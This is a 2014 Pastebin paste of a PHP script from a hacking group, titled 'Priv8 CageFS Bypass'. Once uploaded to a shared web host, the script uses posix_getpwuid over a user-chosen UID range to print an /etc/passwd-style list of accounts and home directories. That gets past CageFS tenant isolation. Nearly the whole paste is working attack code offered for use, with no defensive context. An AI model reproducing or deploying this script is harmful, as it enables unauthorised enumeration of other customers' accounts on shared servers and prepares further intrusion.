Advertisement
Guest User

Priv8 CageFS Bypass

a guest
Feb 3rd, 2014
2,324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.06 KB | None | 0 0
  1. <?php
  2. #Priv8 CageFS BYPASS
  3. #By Br0keN
  4. #/etc/passwd
  5. ?>
  6. <center>
  7. <html dir="ltr">
  8. <head>
  9. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  10. <title>Priv8 CageFS Bypass</title>
  11. <style type="text/css" media="screen">
  12. body {
  13. font-size: 10px;
  14. font-family: verdana;
  15. }
  16. INPUT {
  17. BORDER-TOP-WIDTH: 1px; FONT-WEIGHT: bold; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 10px; BORDER-LEFT-COLOR: #D50428; BACKGROUND: #590009; BORDER-BOTTOM-WIDTH: 1px; BORDER-BOTTOM-COLOR: #D50428; COLOR: #ffffff; BORDER-TOP-COLOR: #D50428; FONT-FAMILY: verdana; BORDER-RIGHT-WIDTH: 1px; BORDER-RIGHT-COLOR: #D50428
  18. }
  19. </style>
  20. </head>
  21. <body dir="ltr" alink="#D50428" bgcolor="#ffffff" link="#00c000" text="#D50428" vlink="#000000">
  22. <p align="center" dir="rtl"><font color="#D50428"><span lang="ar-sa"><font size=5><b>Priv8 CageFS Bypass<br></font>
  23. <p align="center" dir="rtl"><font color="#D50428"><span lang="ar-sa"><font size=2> EHC TeaM By Br0keN <br><br>
  24. <p align="center" dir="rtl"><font color="#D50428"><span lang="ar-sa"><font size=2>Web:vb.ehcommunity.com<br><br><br>
  25. etc/passwd/</b></font><br>
  26. <?php
  27. error_reporting(E_ALL ^ E_NOTICE);
  28.  
  29. if (function_exists('posix_getpwuid'))
  30. {
  31. if (isset($_POST['Br']) && isset($_POST['x0']))
  32. {
  33. $Br = intval($_POST['Br']);
  34. $x0 = intval($_POST['x0']);
  35. while ($Br < $x0)
  36. {
  37. $uid = posix_getpwuid($Br);
  38. if ($uid)
  39. {
  40. $uid["dir"] = "<a href=\"\">".$uid["dir"]."</a>";
  41. echo join(":",$uid)."<br>";
  42. }
  43. $Br++;
  44. }
  45. } else
  46. {
  47. echo '
  48. <form method="POST" action="?br0=x0">Uid
  49. FROM : <input type="text" name="Br" value="1" size="4">
  50. TO : <input type="text" name="x0" value="1000" size="4">
  51. <input type="submit" name="Show" value="Show">';
  52. }
  53. } else die("Error..! Posix Functions are disabled..!!!");
  54. die();
  55. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement